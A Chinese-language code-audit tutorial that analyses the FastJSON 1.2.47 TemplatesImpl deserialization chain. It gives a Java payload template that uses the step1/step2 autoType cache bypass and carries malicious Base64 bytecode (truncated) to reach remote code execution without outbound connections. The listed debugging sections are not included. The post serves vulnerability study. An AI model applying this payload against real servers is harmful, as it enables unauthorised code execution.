FastJSON 1.2.47 审计,如何构建 TemplatesImpl 链?
摘要:代码审计 | FastJSON 1.2.47 不出网利用 —— TemplatesImpl 链分析 目录 前言 两条链的区别 TemplatesImpl 链概览 利用前提 利用步骤 Payload 构造 调试跟链 完整调用链总结 局限性 前
代码审计 | FastJSON 1.2.47 不出网利用 —— TemplatesImpl 链分析
目录
前言
两条链的区别
TemplatesImpl 链概览
利用前提
利用步骤
Payload 构造
调试跟链
完整调用链总结
局限性
前言
上一篇分析了 FastJSON 1.2.24 的 JdbcRowSetImpl 出网 RCE 链,以及 1.2.25 ~ 1.2.43 的 autoType 绕过演进。这篇来看 1.2.47 的不出网利用方式——TemplatesImpl 链。
关于 1.2.47 缓存绕过的原理(step1/step2 两步 Payload 的来龙去脉),已经在上一篇里详细分析过了,这里直接用。
两条链的区别
JdbcRowSetImpl 是 setter 型利用链
TemplatesImpl 是 getter 型利用链
JdbcRowSetImpl
TemplatesImpl
是否出网
✅ 需要出网(JNDI 连接 RMI/LDAP)
❌ 不需要出网
TemplatesImpl 链利用缓存机制,无需开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
TemplatesImpl 链概览
整体思路就是:把恶意 Java 字节码直接 Base64 编码塞进 JSON 里,让 FastJSON 在本地加载并实例化,不需要任何外部连接。
利用流程:
1. [编写] 继承 AbstractTranslet 的恶意类
2. [编译] javac Exploit.java
3. [编码] Base64.encode(Exploit.class) -> String
4. [填入] 放入 Payload 的 _bytecodes 字段
利用前提
这条链有一个比较苛刻的条件:必须开启 Feature.SupportNonPublicField。
原因是 _bytecodes 是 private 字段,FastJSON 默认只处理 public 字段,开启这个 Feature 才能反序列化私有字段。
JSONObject data = JSON.parseObject(payload, Feature.SupportNonPublicField);
不过一般情况这个是不会开启的,谁有事没事把私有字段也开放出来……所以这条链的实战利用条件比较苛刻,但还是有必要学习一下,后面的 CC 链、CB 链里都有 TemplatesImpl 的影子。
利用步骤
Payload 构造
String payload = "{" +
"\"step1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}," +
"\"step2\":{" +
"\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQA...\"]," + // 这里放你恶意类的 Base64 字节码
"\"_name\":\"Exploit\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}" +
"}" +
"}";
// 关键点:不出网打 TemplatesImpl 必须开启 SupportNonPublicField
// 因为 _bytecodes 等字段是私有的 (private)
JSONObject data = JSON.parseObject(payload, Feature.SupportNonPublicField);
System.out.println(data);
关键字段说明
字段
是否必须
原因
_bytecodes
✅ 必须
恶意字节码载体
_name
✅ 必须
为 null 会提前 return
_tfactory
⚠️ 建议写
低版本 JDK 需要,写 {} 兼容
_outputProperties
✅ 必须
触发 getter,启动整条链
_tfactory 这个字段比较特殊:低版本 JDK 里真的会用到它来构造 ClassLoader,不传会 NPE;高版本 JDK 已经把这行改掉了,传不传都无所谓。
